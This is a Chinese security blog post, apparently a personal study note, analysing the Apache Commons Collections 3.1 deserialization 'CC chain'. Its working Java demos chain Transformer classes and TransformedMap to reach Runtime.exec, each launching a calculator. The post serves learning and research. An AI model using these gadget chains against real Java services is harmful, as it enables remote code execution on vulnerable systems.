freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Java反序列化CC链分析
Artio 2022-07-08 16:54:33 349263
所属地 北京

一:概述

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons 的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和 Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

CC链的前提是序列化或者反序列化:

序列化需要两个条件:

1、该类必须实现 java.io.Serlalizable接口

2、该类的所有属性必须是可序列化的,如果有不可序列化的属性必须注明是短暂的

二:环境搭建

下边我们以Apache Commons collections 反序列化漏洞为例,先去下边地址下载commons-collections-3.1.zip文件:

https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.1.zip

下载完成后解压,然后IDEA新建一个Java项目导入commons-collections-3.1.jar包,如图:

image

我使用的jdk版本为:1.8.0_281

然后在src-com-company下创建一个class文件,内容如下:

ApacheCommonsCollectionsDemo.java

package com.company;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

public class ApacheCommonsCollectionsDemo {
    public static void main(String[] args) {

        //((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")
        //构造恶意的chain
        Transformer[] transformers = new Transformer[] {
                //通过内置的ConstantTransformer来获取Runtime类
                new ConstantTransformer(Runtime.class),
                //通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,其后类似
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
        };

        Transformer transformChain = new ChainedTransformer(transformers);

        //普通的Map
        Map mp=new HashMap();
        mp.put("sw", "demo");

        // 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain
        Map transformMap = TransformedMap.decorate(mp, transformChain, transformChain);

        // 修改TransformedMap中的一个值,成功执行命令
        Map.Entry entry=(Map.Entry) transformMap.entrySet().iterator().next();
        entry.setValue("test");
    }
}

三:transform

Transformer是一个用于规范类型转换行为的接口,实现该接口的类有:ChainedTransformer, CloneTransformer, ClosureTransformer, ConstantTransformer, ExceptionTransformer, FactoryTransformer, InstantiateTransformer, InvokerTransformer, MapTransformer, NOPTransformer, PredicateTransformer, StringValueTransformer, SwitchTransformer(3和4的部分实现类有所区别)

介绍一部分实现类(需要用到的类)

ConstantTransformer

作用:获取class对象

关键是调用transform对象

demo.java

// 学习反序列化CC链调试程序

package com.company;

import org.apache.commons.collections.functors.ConstantTransformer;

public class Main {

    public static void main(String[] args) {
	// write your code here
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);//通过ConstantTransformer这个方法来进行获取Runtime.class
        //相当于是你传入Runtime.class 下面就会返回这个类,传入什么返回什么
        Object transform = constantTransformer.transform("any");
        System.out.println(transform);
        System.out.println(transform.getClass().getName());

    }
}

transform方法会忽略传入参数,不会改变当前对象,所以我们输出的还是:

class java.lang.Runtime
java.lang.Class
InvokerTransformer

通过反射调用传入对象的方法(public属性)

最常用的构造方法有三个参数:

1、methodname方法

2、class类型

3、方法参数

例如:methodName:“exec”,new Class[]{String.class},new Object[]{cmd}

commons-collections从3.2.2版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常,这个举措是为了防止远程代码执行;如果允许序列化该类就要在运行时添加属性-Dproperty=true
commons-collections4从4.1之后直接禁止被用于反序列化

它的Transform方法就是首先接受一个对象(ChainedTransformer),然后获取该对象的名称(ConstantTransformer),最后通过InvokerTransformer传入三个参数。

命令执行

// 方法一:常规套三层 InvokerTransformer
ChainedTransformer chain = new ChainedTransformer(
    new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
            "getMethod",
            new Class[]{String.class, Class[].class},
            new Object[]{"getRuntime", null}
        ),
        new InvokerTransformer(
            "invoke",
            new Class[]{Object.class, Object[].class},
            new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new Object[]{"calc.exe"}
        )
    }
);
chain.transform("any"); // 任意传入都可
// 法二:传入 Runtime 实例
ChainedTransformer chain = new ChainedTransformer(
    new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new Object[]{"calc.exe"}
        )
    }
);
chain.transform("any"); // 任意传入都可
ChainedTransformer

传入Transformer数组初始化对象;transform方法依次调用Transformer实现类的transform方法处理传入对象,也就是transform方法的组合拳利用

上边的三个类连起来形成一条链的话就是:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo03 {
    public static void main(String[] args) {
        String cmd = "calc.exe";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}//获取到了getRuntime方法
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}//用invoke方法传递参数
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{cmd})
        };
        // 创建ChainedTransformer调⽤链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        // 执⾏对象转换操作
        transformedChain.transform(null);
    }
}

1) ConstantTransformer把传入对象转换为常量,并返回得到该对象(Runtime.class)

2)InvokerTransformer通过反射获取传入对象的方法,并且加入参数

3)ChainedTransformer执行链式的Transformer方法,将反射包含的数组进行链式调用,从而连贯起来

4)然后查找哪个对象能够接收ChainedTransformer方法

TransformedMap

这个类就是为了上一个方法的第四步

上一个方法的第四步之后我们得到的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函数,只需要将数据添加到map中就可以调用这个转换链执行payload。

这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值,后者是一个常规操作,相比前者更容易触发。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

Transformer实现类分别绑定在map的key和value上,当map的key和value被修改时,会调用对应Transformer实现类的transformer()方法。

我们可以把 chainedtransformer 绑定到一个 TransformedMap 上,当此map的key或value发生改变时(调用 TransformedMap 的 setValue/put/putAll 中的任意方法),就会自动触发 chainedtransformer。

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo04 {
    public static void main(String[] args) {
        String cmd = "calc.exe";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{cmd})
        };
        // 创建ChainedTransformer调⽤链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        //创建Map对象
        Map map = new HashMap();
        map.put("value", "value");
        // 使⽤TransformedMap创建⼀个含有恶意调⽤链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null,
                transformedChain);
    // transformedMap.put("v1", "v2");// 执⾏put也会触发transform
    // 遍历Map元素,并调⽤setValue⽅法
        for (Object obj : transformedMap.entrySet()) {
            Map.Entry entry = (Map.Entry) obj;
    // setValue最终调⽤到InvokerTransformer的transform⽅法,从⽽触发Runtime命令执⾏调⽤链
            entry.setValue("test");
        }
//            System.out.println(transformedMap);
        }
    }

TransformedMap 的条件:

1)实现了 java.io.Serializable 接口;

2)并且可以传入我们构造的TransformedMap对象(如上边例子中传入map的transformedChain对象);

3)调用了TransformedMap中的setValue/put/putAll中的任意一个方法;

AnnotationInvocationHandler

上面的漏洞触发条件仍然不够完美,需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。
之前也说过完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObject函数就等于命令执行。

在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler。-----这里待深入分析

以上文章为个人学习Java相关知识的一种记录,有幸在大佬们的基础上进行分析、学习。

四:历史链分析

待分析

五:参考链接

https://tyskill.github.io/posts/javatransformchain/#contents:transform

https://blog.csdn.net/xhy18634297976/article/details/122749129

# java反序列化 # JAVA安全 # CC链
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Artio 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Java代码审计
Artio LV.4
这家伙太懒了,还未填写个人描述!
  • 14 文章数
  • 3 关注者
利用CDN进行攻击以及检测思路
2025-01-06
CSDN挂马事件及其检测思路
2025-01-02
浅谈DNS重绑定攻击
2023-05-19
文章目录